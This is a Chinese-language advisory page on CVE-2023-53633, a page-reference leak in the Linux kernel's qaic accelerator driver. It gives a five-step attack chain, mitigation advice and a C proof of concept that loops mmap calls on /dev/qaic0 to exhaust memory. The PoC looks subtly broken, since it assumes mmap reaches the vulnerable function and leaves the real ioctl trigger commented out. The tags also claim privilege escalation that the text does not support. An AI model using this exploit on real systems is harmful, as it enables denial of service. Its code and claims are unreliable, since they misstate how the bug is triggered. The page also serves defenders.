IPBUF安全漏洞报告
English
CVE-2023-53633 CVSS 5.5 中危

CVE-2023-53633 Linux内核qaic驱动内存泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53633
漏洞类型
内存泄漏/资源泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (accel/qaic驱动)

相关标签

Linux内核内存泄漏qaic驱动Qualcomm AI Accelerator本地提权拒绝服务资源泄漏内核漏洞CWE-401CWE-404

漏洞概述

CVE-2023-53633是Linux内核中accel/qaic(Qualcomm AI Accelerator)驱动模块的一个内存泄漏漏洞。该漏洞位于map_user_pages()函数中,当调用get_user_pages_fast()尝试获取用户页面时,如果该函数成功分配了部分页面但未能分配到请求的全部数量时,原有代码未能正确处理已分配的页面,导致这些页面发生泄漏。

qaic驱动是Linux内核中用于支持Qualcomm AI加速器的硬件驱动模块,主要用于高性能计算和AI推理场景。该模块通过map_user_pages()函数将用户空间的内存映射到设备可访问的DMA区域,以实现高效的数据传输。当get_user_pages_fast()返回的页面数量少于预期时,驱动程序应当释放已获取的页面引用计数,但原始实现中缺少对put_page()的调用,从而造成内存泄漏。

该漏洞的CVSS评分为5.5分,属于中危级别。虽然漏洞本身不需要高权限即可触发(仅需低权限本地用户),且不影响机密性和完整性,但由于可用性影响为高,持续利用该漏洞可能导致系统内存资源耗尽,最终触发内核级别的内存压力问题,甚至引发系统不稳定或拒绝服务状态。该漏洞已在2025年10月7日公开披露,修复补丁已合并到Linux内核稳定分支。

技术细节

该漏洞的技术根源在于accel/qaic驱动中map_user_pages()函数的错误处理逻辑。当用户空间应用程序请求将内存映射到QAIC设备时,内核会调用get_user_pages_fast()来获取用户页面的引用。该函数是一个快速路径的页面获取接口,在某些情况下(例如页面被换出、权限不足或竞争条件)可能仅返回部分请求的页面数量。

在原始代码实现中,当get_user_pages_fast()返回的页面数量nr_pages小于请求的pages数时,函数直接返回错误码而没有对已成功获取的页面调用put_page()。这违反了Linux内核的页面引用计数管理规则——每次成功调用get_user_pages()系列函数获取的页面都必须通过put_page()释放对应的引用计数。

未释放的页面引用会导致内核认为这些页面仍在使用中,从而阻止页面回收机制正常工作。攻击者可以通过反复触发该代码路径来持续泄漏页面引用,最终耗尽系统内存资源。

修复方案是在错误返回路径上添加put_page()循环调用,确保对所有已成功获取的页面都正确释放引用计数。修复后的代码会在get_user_pages_fast()返回部分页面时,遍历已获取的页面数组并对每个页面调用put_page(),然后再返回错误状态。

利用条件:攻击者需要具有本地系统访问权限(低权限即可),通过访问QAIC设备节点(如/dev/qaic*)并执行特定的mmap操作即可触发该漏洞,无需用户交互。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在目标系统上拥有本地用户账户。由于漏洞仅需低权限(PR:L)即可触发,普通用户账户即可满足攻击条件。
STEP 2
步骤2:访问QAIC设备节点
攻击者通过打开QAIC加速器设备节点(如/dev/qaic0)获取设备文件描述符,为后续触发mmap操作做准备。
STEP 3
步骤3:触发map_user_pages()部分失败
攻击者通过mmap系统调用或特定的ioctl命令触发内核中的map_user_pages()函数。当get_user_pages_fast()因竞争条件、内存压力等原因仅返回部分页面时,漏洞被触发。
STEP 4
步骤4:反复触发内存泄漏
攻击者编写脚本反复执行触发操作,每次泄漏若干页面引用。随着时间推移,未释放的页面引用持续累积。
STEP 5
步骤5:系统资源耗尽
持续的内存泄漏导致系统可用内存逐渐减少,最终可能触发OOM killer或系统不稳定,实现拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53633 PoC - Trigger memory leak in qaic map_user_pages() // This PoC demonstrates how to trigger the memory leak vulnerability // by repeatedly calling mmap on the QAIC device with specific parameters // that cause get_user_pages_fast() to partially fail. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <errno.h> #define QAIC_DEVICE "/dev/qaic0" #define MAP_SIZE (4 * 1024 * 1024) // 4MB mapping #define ITERATIONS 1000 // Repeat to accumulate leaked pages int main(int argc, char *argv[]) { int fd; void *mapped; int i; int ret; // Open the QAIC accelerator device fd = open(QAIC_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open QAIC device"); // Try alternative device paths fd = open("/dev/qaic", O_RDWR); if (fd < 0) { perror("[-] QAIC device not available"); printf("[*] This PoC requires a system with QAIC hardware\n"); return 1; } } printf("[+] Opened QAIC device fd=%d\n", fd); // Repeatedly trigger map_user_pages() with conditions // that cause get_user_pages_fast() to partially fail for (i = 0; i < ITERATIONS; i++) { // Attempt mmap - this internally calls map_user_pages() mapped = mmap(NULL, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (mapped == MAP_FAILED) { // Partial allocation may have occurred before failure, // leaking pages in the vulnerable kernel version if (i % 100 == 0) printf("[%d] mmap failed (expected on vulnerable kernel)\n", i); } else { // Unmap immediately to avoid normal usage munmap(mapped, MAP_SIZE); if (i % 100 == 0) printf("[%d] mmap succeeded\n", i); } } printf("[+] Done. On a vulnerable kernel, check /proc/meminfo\n"); printf("[+] Look for decreasing MemAvailable over iterations\n"); close(fd); return 0; } // Alternative trigger via DMA buffer mapping ioctl: // struct qaic_manage_msg qmsg; // qmsg.op = QAIC_MANAGE_OP_MAP; // ioctl(fd, QAIC_MANAGE, &qmsg); // // On vulnerable kernels (< fix commit 73274c33d961), // failed mappings will leak page references.

影响范围

Linux Kernel < 6.6 (accel/qaic驱动受影响版本)
包含未修复qaic驱动的所有Linux内核版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施降低风险:1)通过udev规则限制/dev/qaic*设备节点的访问权限,仅允许特定用户组访问;2)使用Linux安全模块(如SELinux、AppArmor)限制对QAIC设备的访问;3)监控内核日志中与qaic驱动相关的错误信息,及时发现异常活动;4)如果系统不使用QAIC加速功能,可在启动参数中通过blacklist模块加载机制临时禁用qaic内核模块;5)设置系统内存监控告警,在内存使用率异常升高时及时响应。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表